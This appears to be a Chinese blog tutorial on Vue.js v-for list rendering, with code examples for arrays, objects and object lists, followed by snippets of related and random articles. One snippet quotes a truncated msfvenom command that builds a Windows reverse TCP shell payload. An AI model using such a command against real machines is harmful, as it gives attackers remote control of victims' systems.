v-for：对集合或对象进行遍历；

使用v-for对数组遍历时：

效果如下：

代码：

<script>

        window.onload= () =>{new Vue({

            el:'#two',

            data:{

                arr:[11,22,33,44,55,66,77]

              }

})

        }

    </script>

    <body>

        <div id="two">

            <ul>

                <li v-for="value in arr">{{value}}</li>

            </ul>

      </div>

    </body>

使用v-for遍历一个对象时：

<script>

        window.onload= () =>{new Vue({

            el:'#two',

            data:{

                 user:{

                     id:'01',

                     name:'bob'

                 }

                }

            })

        }

</script>

html:

<div id="two">

            <ul>

                <li v-for="(v,index,k) in user">{{k}}-{{index}}-{{v}}</li>

            </ul>

      </div>

使用v-for遍历多个对象的时：

在vue中加入多个对象：

 users:[{id:'01',name:'cidy'},{id:'02',name:'bob'},{id:'03',name:'lucy'},{id:'04',name:'joey'}]

html:使用v-for进行遍历：

<li v-for="(v,index) in users" :key="v.id">{{index}}-{{v.id}}-{{v.name}}</li>

使用v-for进行遍历数组、单个对象以及多个对象总的代码：

 <!DOCTYPE html>

 <html>

     <head>

         <meta charset="UTF-8">

         <title>v-for</title>

     </head>

     <script type="text/javascript" src="../js/vue.js" ></script>

     <script>

         window.onload= () =>{new Vue({

             el:'#two',

             data:{

 //                arr:[11,22,33,44,55,66,77],

 //                 user:{

 //                     id:'01',

 //                     name:'bob'

 //                 }

                 users:[{id:'01',name:'cidy'},{id:'02',name:'bob'},{id:'03',name:'lucy'},{id:'04',name:'joey'}]

                 }

             })

         }

 </script>

     <body>

         <div id="two">

             <ul>

                 <!--<li v-for="value in arr">{{value}}</li>-->

                 <!--<li v-for="(v,index,k) in user">{{k}}-{{index}}-{{v}}</li>-->

                 <li v-for="(v,index) in users" :key="v.id">{{index}}-{{v.id}}-{{v.name}}</li>

             </ul>

       </div>

     </body>

 </html>

进行遍历数组，单个对象以及多个对象的代码.html

使用v-for指令渲染列表的更多相关文章

  1. vue入门：（v-for指令与列表渲染）

    v-for渲染列表 维护状态 数组变异方法与替换数组 $set.$remove 对象属性实现列表渲染 一.v-for渲染列表 语法:v-for="item in items" 先来 ...

  2. 前端（二十一）—— vue指令：文本类指令、避免页面闪烁、v-bind指令、v-on指令、v-model指令、条件渲染指令、列表渲染指令

    文本类指令.v-bind指令.v-on指令.v-model指令.条件渲染指令.列表渲染指令 一.文本操作 v-text:文本变量 <p v-text='msg'></p> &l ...

  3. vue v-nav指令属性列表

    v-nav指令属性列表 属性名 属性描述 类型 必选 默认 title 导航栏标题 String No 空字符串 showBackButton 是否显示(左边的)返回按钮 Boolean No fal ...

  4. React.js 小书 Lesson13 - 渲染列表数据

    作者:胡子大哈 原文链接:http://huziketang.com/books/react/lesson13 转载请注明出处,保留原文链接和作者信息. 列表数据在前端非常常见,我们经常要处理这种类型 ...

  5. vue2——指令渲染，{{}}渲染

    博客地址 :https://www.cnblogs.com/sandraryan/ 声明式的渲染,以{{}}的形式调用数据 <!DOCTYPE html> <html lang=&q ...

  6. 为什么你需要在用 Vue 渲染列表数据时指定 key

    本文改写整理自一篇博文,原文链接如下: Why you should use the key directive in Vue.js with v-for Application state and ...

  7. 好客租房41-react组件基础综合案例-渲染列表数据

    1渲染列表 在state定义数据 进行数据渲染 //导入react import React from 'react' import ReactDOM from 'react-dom' //导入组件 ...

  8. 好客租房42-react组件基础综合案例-渲染列表无数据并优化

    渲染列表评论 1判断列表数据的长度是否为0 2如果为0 则渲染暂无评论 //导入react import React from 'react' import ReactDOM from 'react- ...

  9. 基于koa模块和socket.io模块搭建的node服务器实现通过jwt 验证来渲染列表、私聊、群聊功能

    1. 具体代码在需要的下载 https://gitee.com/zyqwasd/socket 效果: 2. package.json文件 1. 下载基本的模块  修改了start 脚本  nodemo ...

随机推荐

  1. [LeetCode] 374. Guess Number Higher or Lower_Easy tag: Binary Search

    We are playing the Guess Game. The game is as follows: I pick a number from 1 to n. You have to gues ...

  2. BCB Access violateion at Address 0000 0003. Read of address 0000 0003

    来自网页:(我的电脑做不到) 运行一个程序,莫名出现一个对话框:access violation at address 0000.. read of address000试了几次问题依旧,网上搜了下解 ...

  3. 笔记 : 将本地项目上传到GitHub

    一.准备工作 1. 注册github账号https://github.com, 安装git工具 https://git-for-windows.github.io/ 2. 创建SSH KEY(由于本地 ...

  4. beego 初体验 - orm - 增删改查

    本文记录一下 beego orm 简单的增删改查,大牛请绕道. 首先,注册4个增删改查的路由: 其次,在 views 文件夹下增加对应的模板(页面): controller 类里写上增删改查的方法: ...

  5. scrapy yield

    生成器 一个带有 yield 的函数就是一个 generator,它和普通函数不同,生成一个 generator 看起来像函数调用,但不会执行任何函数代码,直到对其调用 next()(在 for 循环 ...

  6. HDU 6300

    Problem Description Chiaki has 3n points p1,p2,…,p3n. It is guaranteed that no three points are coll ...

  7. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  8. Necklace (全排列 + 匈牙利)

    #include<bits/stdc++.h> using namespace std; ][], Gra[][]; ]; ]; ]; bool dfs(int u, int vN) { ...

  9. java运行cmd命令

    java的Runtime.getRuntime().exec(commandStr)可以调用执行cmd指令. cmd /c dir 是执行完dir命令后关闭命令窗口. cmd /k dir 是执行完d ...

  10. Hive常用语句

    文章目录 1 显示分区 2 添加分区 3 删除分区 4 修改分区 5 添加列 6 修改列 7 修改表属性 8 表的重命名 显示分区 show partitions iteblog; 添加分区 ALTE ...